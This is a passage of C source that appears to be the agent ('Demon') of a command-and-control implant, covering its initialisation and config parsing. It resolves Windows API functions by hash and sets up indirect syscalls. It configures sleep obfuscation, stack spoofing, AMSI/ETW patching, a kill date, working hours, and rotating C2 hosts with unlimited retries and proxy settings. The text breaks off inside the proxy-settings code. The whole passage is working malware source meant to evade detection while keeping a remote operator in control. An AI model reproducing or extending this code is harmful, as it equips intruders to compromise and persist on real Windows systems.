OsVersions.dwOSVersionInfoSize = sizeof( OsVersions );
Instance->Win32.RtlGetVersion( &OsVersions );
PackageAddInt32( *MetaData, OsVersions.dwMajorVersion );
PackageAddInt32( *MetaData, OsVersions.dwMinorVersion );
PackageAddInt32( *MetaData, OsVersions.wProductType );
PackageAddInt32( *MetaData, OsVersions.wServicePackMajor );
PackageAddInt32( *MetaData, OsVersions.dwBuildNumber );
PackageAddInt32( *MetaData, Instance->Session.OS_Arch );
PackageAddInt32( *MetaData, Instance->Config.Sleeping );
PackageAddInt32( *MetaData, Instance->Config.Jitter );
PackageAddInt64( *MetaData, Instance->Config.Transport.KillDate );
PackageAddInt32( *MetaData, Instance->Config.Transport.WorkingHours );
}
VOID DemonInit( PVOID ModuleInst, PKAYN_ARGS KArgs )
{
OSVERSIONINFOEXW OSVersionExW = { 0 };
PVOID RtModules[] = {
RtAdvapi32,
//RtMscoree,
RtOleaut32,
RtUser32,
RtShell32,
RtMsvcrt,
RtIphlpapi,
RtGdi32,
RtNetApi32,
RtWs2_32,
RtSspicli,
#ifdef TRANSPORT_HTTP
RtWinHttp,
#endif
};
Instance->Teb = NtCurrentTeb();
#ifdef TRANSPORT_HTTP
PUTS( "TRANSPORT_HTTP" )
#endif
#ifdef TRANSPORT_SMB
PUTS( "TRANSPORT_SMB" )
#endif
/* resolve ntdll.dll functions */
if ( ( Instance->Modules.Ntdll = LdrModulePeb( H_MODULE_NTDLL ) ) ) {
/* Module/Address function loading */
Instance->Win32.LdrGetProcedureAddress = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_LDRGETPROCEDUREADDRESS );
Instance->Win32.LdrLoadDll = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_LDRLOADDLL );
/* Rtl functions */
Instance->Win32.RtlAllocateHeap = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLALLOCATEHEAP );
Instance->Win32.RtlReAllocateHeap = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLREALLOCATEHEAP );
Instance->Win32.RtlFreeHeap = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLFREEHEAP );
Instance->Win32.RtlExitUserThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLEXITUSERTHREAD );
Instance->Win32.RtlExitUserProcess = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLEXITUSERPROCESS );
Instance->Win32.RtlRandomEx = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLRANDOMEX );
Instance->Win32.RtlNtStatusToDosError = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLNTSTATUSTODOSERROR );
Instance->Win32.RtlGetVersion = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLGETVERSION );
Instance->Win32.RtlCreateTimerQueue = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLCREATETIMERQUEUE );
Instance->Win32.RtlCreateTimer = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLCREATETIMER );
Instance->Win32.RtlQueueWorkItem = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLQUEUEWORKITEM );
Instance->Win32.RtlRegisterWait = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLREGISTERWAIT );
Instance->Win32.RtlDeleteTimerQueue = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLDELETETIMERQUEUE );
Instance->Win32.RtlCaptureContext = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLCAPTURECONTEXT );
Instance->Win32.RtlAddVectoredExceptionHandler = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLADDVECTOREDEXCEPTIONHANDLER );
Instance->Win32.RtlRemoveVectoredExceptionHandler = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLREMOVEVECTOREDEXCEPTIONHANDLER );
Instance->Win32.RtlCopyMappedMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLCOPYMAPPEDMEMORY );
/* Native functions */
Instance->Win32.NtClose = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTCLOSE );
Instance->Win32.NtCreateEvent = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTCREATEEVENT );
Instance->Win32.NtSetEvent = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSETEVENT );
Instance->Win32.NtSetInformationThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSETINFORMATIONTHREAD );
Instance->Win32.NtSetInformationVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSETINFORMATIONVIRTUALMEMORY );
Instance->Win32.NtGetNextThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTGETNEXTTHREAD );
Instance->Win32.NtOpenProcess = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTOPENPROCESS );
Instance->Win32.NtTerminateProcess = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTTERMINATEPROCESS );
Instance->Win32.NtQueryInformationProcess = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYINFORMATIONPROCESS );
Instance->Win32.NtQuerySystemInformation = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYSYSTEMINFORMATION );
Instance->Win32.NtAllocateVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTALLOCATEVIRTUALMEMORY );
Instance->Win32.NtQueueApcThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUEUEAPCTHREAD );
Instance->Win32.NtOpenThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTOPENTHREAD );
Instance->Win32.NtOpenThreadToken = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTOPENTHREADTOKEN );
Instance->Win32.NtResumeThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTRESUMETHREAD );
Instance->Win32.NtSuspendThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSUSPENDTHREAD );
Instance->Win32.NtCreateEvent = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTCREATEEVENT );
Instance->Win32.NtDuplicateObject = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTDUPLICATEOBJECT );
Instance->Win32.NtGetContextThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTGETCONTEXTTHREAD );
Instance->Win32.NtSetContextThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSETCONTEXTTHREAD );
Instance->Win32.NtWaitForSingleObject = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTWAITFORSINGLEOBJECT );
Instance->Win32.NtAlertResumeThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTALERTRESUMETHREAD );
Instance->Win32.NtSignalAndWaitForSingleObject = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSIGNALANDWAITFORSINGLEOBJECT );
Instance->Win32.NtTestAlert = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTTESTALERT );
Instance->Win32.NtCreateThreadEx = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTCREATETHREADEX );
Instance->Win32.NtOpenProcessToken = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTOPENPROCESSTOKEN );
Instance->Win32.NtDuplicateToken = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTDUPLICATETOKEN );
Instance->Win32.NtProtectVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTPROTECTVIRTUALMEMORY );
Instance->Win32.NtTerminateThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTTERMINATETHREAD );
Instance->Win32.NtWriteVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTWRITEVIRTUALMEMORY );
Instance->Win32.NtContinue = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTCONTINUE );
Instance->Win32.NtReadVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTREADVIRTUALMEMORY );
Instance->Win32.NtFreeVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTFREEVIRTUALMEMORY );
Instance->Win32.NtUnmapViewOfSection = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTUNMAPVIEWOFSECTION );
Instance->Win32.NtQueryVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYVIRTUALMEMORY );
Instance->Win32.NtQueryInformationToken = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYINFORMATIONTOKEN );
Instance->Win32.NtQueryInformationThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYINFORMATIONTHREAD );
Instance->Win32.NtQueryObject = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYOBJECT );
Instance->Win32.NtTraceEvent = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTTRACEEVENT );
} else {
PUTS( "Failed to load ntdll from PEB" )
return;
}
/* resolve Windows version */
Instance->Session.OSVersion = WIN_VERSION_UNKNOWN;
OSVersionExW.dwOSVersionInfoSize = sizeof( OSVersionExW );
if ( NT_SUCCESS( Instance->Win32.RtlGetVersion( &OSVersionExW ) ) ) {
if ( OSVersionExW.dwMajorVersion >= 5 ) {
if ( OSVersionExW.dwMajorVersion == 5 ) {
if ( OSVersionExW.dwMinorVersion == 1 ) {
Instance->Session.OSVersion = WIN_VERSION_XP;
}
} else if ( OSVersionExW.dwMajorVersion == 6 ) {
if ( OSVersionExW.dwMinorVersion == 0 ) {
Instance->Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_VISTA : WIN_VERSION_2008;
} else if ( OSVersionExW.dwMinorVersion == 1 ) {
Instance->Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_7 : WIN_VERSION_2008_R2;
} else if ( OSVersionExW.dwMinorVersion == 2 ) {
Instance->Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_8 : WIN_VERSION_2012;
} else if ( OSVersionExW.dwMinorVersion == 3 ) {
Instance->Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_8_1 : WIN_VERSION_2012_R2;
}
} else if ( OSVersionExW.dwMajorVersion == 10 ) {
if ( OSVersionExW.dwMinorVersion == 0 ) {
Instance->Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_10 : WIN_VERSION_2016_X;
}
}
}
} PRINTF( "OSVersion: %d\n", Instance->Session.OSVersion );
/* load kernel32.dll functions */
if ( ( Instance->Modules.Kernel32 = LdrModulePeb( H_MODULE_KERNEL32 ) ) ) {
Instance->Win32.LoadLibraryW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_LOADLIBRARYW );
Instance->Win32.VirtualProtectEx = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_VIRTUALPROTECTEX );
Instance->Win32.VirtualProtect = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_VIRTUALPROTECT );
Instance->Win32.LocalAlloc = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_LOCALALLOC );
Instance->Win32.LocalReAlloc = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_LOCALREALLOC );
Instance->Win32.LocalFree = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_LOCALFREE );
Instance->Win32.CreateRemoteThread = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEREMOTETHREAD );
Instance->Win32.CreateToolhelp32Snapshot = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATETOOLHELP32SNAPSHOT );
Instance->Win32.Process32FirstW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_PROCESS32FIRSTW );
Instance->Win32.Process32NextW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_PROCESS32NEXTW );
Instance->Win32.CreatePipe = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEPIPE );
Instance->Win32.CreateProcessW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEPROCESSW );
Instance->Win32.GetFullPathNameW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETFULLPATHNAMEW );
Instance->Win32.CreateFileW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEFILEW );
Instance->Win32.GetFileSize = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETFILESIZE );
Instance->Win32.GetFileSizeEx = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETFILESIZEEX );
Instance->Win32.CreateNamedPipeW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATENAMEDPIPEW );
Instance->Win32.ConvertFiberToThread = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CONVERTFIBERTOTHREAD );
Instance->Win32.CreateFiberEx = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEFIBEREX );
Instance->Win32.ReadFile = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_READFILE );
Instance->Win32.VirtualAllocEx = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_VIRTUALALLOCEX );
Instance->Win32.WaitForSingleObjectEx = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WAITFORSINGLEOBJECTEX );
Instance->Win32.GetComputerNameExA = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETCOMPUTERNAMEEXA );
Instance->Win32.GetExitCodeProcess = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETEXITCODEPROCESS );
Instance->Win32.GetExitCodeThread = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETEXITCODETHREAD );
Instance->Win32.TerminateProcess = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_TERMINATEPROCESS );
Instance->Win32.ConvertThreadToFiberEx = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CONVERTTHREADTOFIBEREX );
Instance->Win32.SwitchToFiber = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_SWITCHTOFIBER );
Instance->Win32.DeleteFiber = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_DELETEFIBER );
Instance->Win32.AllocConsole = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_ALLOCCONSOLE );
Instance->Win32.FreeConsole = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FREECONSOLE );
Instance->Win32.GetConsoleWindow = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETCONSOLEWINDOW );
Instance->Win32.GetStdHandle = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETSTDHANDLE );
Instance->Win32.SetStdHandle = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_SETSTDHANDLE );
Instance->Win32.WaitNamedPipeW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WAITNAMEDPIPEW );
Instance->Win32.PeekNamedPipe = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_PEEKNAMEDPIPE );
Instance->Win32.DisconnectNamedPipe = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_DISCONNECTNAMEDPIPE );
Instance->Win32.WriteFile = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WRITEFILE );
Instance->Win32.ConnectNamedPipe = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CONNECTNAMEDPIPE );
Instance->Win32.FreeLibrary = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FREELIBRARY );
Instance->Win32.GetCurrentDirectoryW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETCURRENTDIRECTORYW );
Instance->Win32.GetFileAttributesW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETFILEATTRIBUTESW );
Instance->Win32.FindFirstFileW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FINDFIRSTFILEW );
Instance->Win32.FindNextFileW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FINDNEXTFILEW );
Instance->Win32.FindClose = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FINDCLOSE );
Instance->Win32.FileTimeToSystemTime = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FILETIMETOSYSTEMTIME );
Instance->Win32.SystemTimeToTzSpecificLocalTime = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_SYSTEMTIMETOTZSPECIFICLOCALTIME );
Instance->Win32.RemoveDirectoryW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_REMOVEDIRECTORYW );
Instance->Win32.DeleteFileW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_DELETEFILEW );
Instance->Win32.CreateDirectoryW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEDIRECTORYW );
Instance->Win32.CopyFileW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_COPYFILEW );
Instance->Win32.MoveFileExW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_MOVEFILEEXW );
Instance->Win32.SetCurrentDirectoryW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_SETCURRENTDIRECTORYW );
Instance->Win32.Wow64DisableWow64FsRedirection = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WOW64DISABLEWOW64FSREDIRECTION );
Instance->Win32.Wow64RevertWow64FsRedirection = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WOW64REVERTWOW64FSREDIRECTION );
Instance->Win32.GetModuleHandleA = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETMODULEHANDLEA );
Instance->Win32.GetSystemTimeAsFileTime = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETSYSTEMTIMEASFILETIME );
Instance->Win32.GetLocalTime = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETLOCALTIME );
Instance->Win32.DuplicateHandle = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_DUPLICATEHANDLE );
Instance->Win32.AttachConsole = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_ATTACHCONSOLE );
Instance->Win32.WriteConsoleA = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WRITECONSOLEA );
Instance->Win32.GlobalFree = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GLOBALFREE );
}
/* now that we loaded some of the basic apis lets parse the config and see how we load the rest */
/* Parse config */
DemonConfig();
/* now do post init stuff after parsing the config */
if ( Instance->Config.Implant.SysIndirect )
{
/* Initialize indirect syscalls + get SSN from every single syscall we need */
if ( ! SysInitialize( Instance->Modules.Ntdll ) ) {
PUTS( "Failed to Initialize syscalls" )
/* NOTE: the agent is going to keep going for now. */
}
}
/* shuffle array */
ShuffleArray( RtModules, SIZEOF_ARRAY( RtModules ) );
/* load all modules */
for ( int i = 0; i < SIZEOF_ARRAY( RtModules ); i++ )
{
/* load module */
if ( ! ( ( BOOL (*)() ) RtModules[ i ] ) () ) {
PUTS( "Failed to load a module" )
return;
}
}
if ( KArgs )
{
#if SHELLCODE
Instance->Session.ModuleBase = KArgs->Demon;
Instance->Session.ModuleSize = KArgs->DemonSize;
Instance->Session.TxtBase = KArgs->TxtBase;
Instance->Session.TxtSize = KArgs->TxtSize;
FreeReflectiveLoader( KArgs->KaynLdr );
#endif
}
else
{
Instance->Session.ModuleBase = ModuleInst;
/* if ModuleBase has not been specified then lets use the current process one */
if ( ! Instance->Session.ModuleBase ) {
/* if we specified nothing as our ModuleBase then this either means that we are an exe or we should use the whole process */
Instance->Session.ModuleBase = LdrModulePeb( 0 );
}
if ( Instance->Session.ModuleBase ) {
Instance->Session.ModuleSize = IMAGE_SIZE( Instance->Session.ModuleBase );
}
}
#if _WIN64
Instance->Session.OS_Arch = PROCESSOR_ARCHITECTURE_AMD64;
Instance->Session.Process_Arch = PROCESSOR_ARCHITECTURE_AMD64;
#else
Instance->Session.Process_Arch = PROCESSOR_ARCHITECTURE_INTEL;
Instance->Session.OS_Arch = PROCESSOR_ARCHITECTURE_UNKNOWN;
if ( ProcessIsWow( NtCurrentProcess() ) ) {
Instance->Session.OS_Arch = PROCESSOR_ARCHITECTURE_AMD64;
} else {
Instance->Session.OS_Arch = PROCESSOR_ARCHITECTURE_INTEL;
}
#endif
Instance->Session.PID = U_PTR( Instance->Teb->ClientId.UniqueProcess );
Instance->Session.TID = U_PTR( Instance->Teb->ClientId.UniqueThread );
Instance->Session.Connected = FALSE;
Instance->Session.AgentID = RandomNumber32();
Instance->Config.AES.Key = NULL; /* TODO: generate keys here */
Instance->Config.AES.IV = NULL;
/* Linked lists */
Instance->Tokens.Vault = NULL;
Instance->Tokens.Impersonate = FALSE;
Instance->Jobs = NULL;
Instance->Downloads = NULL;
Instance->Sockets = NULL;
Instance->HwBpEngine = NULL;
Instance->Packages = NULL;
/* Global Objects */
Instance->Dotnet = NULL;
/* if cfg is enforced (and if sleep obf is enabled)
* add every address we're going to use to the Cfg address list
* to not raise an exception while performing sleep obfuscation */
if ( CfgQueryEnforced() )
{
PUTS( "Adding required function module &addresses to the cfg list" );
/* common functions */
CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtContinue );
CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtSetContextThread );
CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtGetContextThread );
CfgAddressAdd( Instance->Modules.Advapi32, Instance->Win32.SystemFunction032 );
/* ekko sleep obf */
CfgAddressAdd( Instance->Modules.Kernel32, Instance->Win32.WaitForSingleObjectEx );
CfgAddressAdd( Instance->Modules.Kernel32, Instance->Win32.VirtualProtect );
CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtSetEvent );
/* foliage sleep obf */
CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtTestAlert );
CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtWaitForSingleObject );
CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtProtectVirtualMemory );
CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.RtlExitUserThread );
}
PRINTF( "Instance DemonID => %x\n", Instance->Session.AgentID )
}
VOID DemonConfig()
{
PARSER Parser = { 0 };
PVOID Buffer = NULL;
ULONG Temp = 0;
UINT32 Length = 0;
DWORD J = 0;
PRINTF( "Config Size: %d\n", sizeof( AgentConfig ) )
ParserNew( &Parser, AgentConfig, sizeof( AgentConfig ) );
RtlSecureZeroMemory( AgentConfig, sizeof( AgentConfig ) );
Instance->Config.Sleeping = ParserGetInt32( &Parser );
Instance->Config.Jitter = ParserGetInt32( &Parser );
PRINTF( "Sleep: %d (%d%%)\n", Instance->Config.Sleeping, Instance->Config.Jitter )
Instance->Config.Memory.Alloc = ParserGetInt32( &Parser );
Instance->Config.Memory.Execute = ParserGetInt32( &Parser );
PRINTF(
"[CONFIG] Memory: \n"
" - Allocate: %d \n"
" - Execute : %d \n",
Instance->Config.Memory.Alloc,
Instance->Config.Memory.Execute
)
Buffer = ParserGetBytes( &Parser, &Length );
Instance->Config.Process.Spawn64 = Instance->Win32.LocalAlloc( LPTR, Length );
MemCopy( Instance->Config.Process.Spawn64, Buffer, Length );
Buffer = ParserGetBytes( &Parser, &Length );
Instance->Config.Process.Spawn86 = Instance->Win32.LocalAlloc( LPTR, Length );
MemCopy( Instance->Config.Process.Spawn86, Buffer, Length );
PRINTF(
"[CONFIG] Spawn: \n"
" - [x64] => %ls \n"
" - [x86] => %ls \n",
Instance->Config.Process.Spawn64,
Instance->Config.Process.Spawn86
)
Instance->Config.Implant.SleepMaskTechnique = ParserGetInt32( &Parser );
Instance->Config.Implant.SleepJmpBypass = ParserGetInt32( &Parser );
Instance->Config.Implant.StackSpoof = ParserGetInt32( &Parser );
Instance->Config.Implant.ProxyLoading = ParserGetInt32( &Parser );
Instance->Config.Implant.SysIndirect = ParserGetInt32( &Parser );
Instance->Config.Implant.AmsiEtwPatch = ParserGetInt32( &Parser );
#ifdef TRANSPORT_HTTP
Instance->Config.Implant.DownloadChunkSize = 0x80000; /* 512k */
#else
Instance->Config.Implant.DownloadChunkSize = 0xfc00; /* 63k, needs to be less than PIPE_BUFFER_MAX */
#endif
PRINTF(
"[CONFIG] Sleep Obfuscation: \n"
" - Technique: %d \n"
" - Stack Dup: %s \n"
"[CONFIG] ProxyLoading: %d\n"
"[CONFIG] SysIndirect : %s\n"
"[CONFIG] AmsiEtwPatch: %d\n",
Instance->Config.Implant.SleepMaskTechnique,
Instance->Config.Implant.StackSpoof ? "TRUE" : "FALSE",
Instance->Config.Implant.ProxyLoading,
Instance->Config.Implant.SysIndirect ? "TRUE" : "FALSE",
Instance->Config.Implant.AmsiEtwPatch
)
#ifdef TRANSPORT_HTTP
Instance->Config.Transport.KillDate = ParserGetInt64( &Parser );
PRINTF( "KillDate: %d\n", Instance->Config.Transport.KillDate )
// check if the kill date has already passed
if ( Instance->Config.Transport.KillDate && GetSystemFileTime() >= Instance->Config.Transport.KillDate )
{
// refuse to run
// TODO: exit process?
Instance->Win32.RtlExitUserThread( 0 );
}
Instance->Config.Transport.WorkingHours = ParserGetInt32( &Parser );
Buffer = ParserGetBytes( &Parser, &Length );
Instance->Config.Transport.Method = MmHeapAlloc( Length + sizeof( WCHAR ) );
MemCopy( Instance->Config.Transport.Method, Buffer, Length );
Instance->Config.Transport.HostRotation = ParserGetInt32( &Parser );
Instance->Config.Transport.HostMaxRetries = 0; /* Max retries. 0 == infinite retrying
* TODO: add this to the yaotl language and listener GUI */
Instance->Config.Transport.Hosts = NULL;
Instance->Config.Transport.Host = NULL;
/* J contains our Hosts counter */
J = ParserGetInt32( &Parser );
PRINTF( "[CONFIG] Hosts [%d]\n:", J )
for ( int i = 0; i < J; i++ )
{
Buffer = ParserGetBytes( &Parser, &Length );
Temp = ParserGetInt32( &Parser );
PRINTF( " - %ls:%ld\n", Buffer, Temp )
/* if our host address is longer than 0 then lets use it. */
if ( Length > 0 ) {
/* Add parse host data to our linked list */
HostAdd( Buffer, Length, Temp );
}
}
Instance->Config.Transport.NumHosts = HostCount();
PRINTF( "Hosts added => %d\n", Instance->Config.Transport.NumHosts )
/* Get Host data based on our host rotation strategy */
Instance->Config.Transport.Host = HostRotation( Instance->Config.Transport.HostRotation );
PRINTF( "Host going to be used is => %ls:%ld\n", Instance->Config.Transport.Host->Host, Instance->Config.Transport.Host->Port )
// Listener Secure (SSL)
Instance->Config.Transport.Secure = ParserGetInt32( &Parser );
PRINTF( "[CONFIG] Secure: %s\n", Instance->Config.Transport.Secure ? "TRUE" : "FALSE" );
// UserAgent
Buffer = ParserGetBytes( &Parser, &Length );
Instance->Config.Transport.UserAgent = MmHeapAlloc( Length + sizeof( WCHAR ) );
MemCopy( Instance->Config.Transport.UserAgent, Buffer, Length );
PRINTF( "[CONFIG] UserAgent: %ls\n", Instance->Config.Transport.UserAgent );
// Headers
J = ParserGetInt32( &Parser );
Instance->Config.Transport.Headers = MmHeapAlloc( sizeof( LPWSTR ) * ( ( J + 1 ) * 2 ) );
PRINTF( "[CONFIG] Headers [%d]:\n", J );
for ( INT i = 0; i < J; i++ )
{
Buffer = ParserGetBytes( &Parser, &Length );
Instance->Config.Transport.Headers[ i ] = MmHeapAlloc( Length + sizeof( WCHAR ) );
MemSet( Instance->Config.Transport.Headers[ i ], 0, Length );
MemCopy( Instance->Config.Transport.Headers[ i ], Buffer, Length );
#ifdef DEBUG
PRINTF( " - %ls\n", Instance->Config.Transport.Headers[ i ] );
#endif
}
Instance->Config.Transport.Headers[ J + 1 ] = NULL;
// Uris
J = ParserGetInt32( &Parser );
Instance->Config.Transport.Uris = MmHeapAlloc( sizeof( LPWSTR ) * ( ( J + 1 ) * 2 ) );
PRINTF( "[CONFIG] Uris [%d]:\n", J );
for ( INT i = 0; i < J; i++ )
{
Buffer = ParserGetBytes( &Parser, &Length );
Instance->Config.Transport.Uris[ i ] = MmHeapAlloc( Length + sizeof( WCHAR ) );
MemSet( Instance->Config.Transport.Uris[ i ], 0, Length + sizeof( WCHAR ) );
MemCopy( Instance->Config.Transport.Uris[ i ], Buffer, Length );
#ifdef DEBUG
PRINTF( " - %ls\n", Instance->Config.Transport.Uris[ i ] );
#endif
}
Instance->Config.Transport.Uris[ J + 1 ] = NULL;
// check if proxy connection is enabled
Instance->Config.Transport.Proxy.Enabled = ( BOOL ) ParserGetInt32( &Parser );;
if ( Instance->Config.Transport.Proxy.Enabled )
{
PUTS( "[CONFIG] [PROXY] Enabled" );
Buffer = ParserGetBytes( &Parser, &Length );
Instance->Config.Transport.Proxy.Url = MmHeapAlloc( Length + sizeof( WCHAR ) );
MemCopy( Instance->Config.Transport.Proxy.Url, Buffer, Length );
PRINTF( "[CONFIG] [PROXY] Url: %ls\n", Instance->Config.Transport.Proxy.Url );
Buffer = ParserGetBytes( &Parser, &Length );
if ( Length > 0 )
{
Instance->Config.Transport.Proxy.Username = MmHeapAlloc( Length );
MemCopy( Instance->Config.Transport.Proxy.Username, Buffer, Length );
PRINTF( "[CONFIG] [PROXY] Username: %ls\n", Instance->Config.Transport.Proxy.Username );
}
else
Instance->Config.Transport.Proxy.Username = NULL;
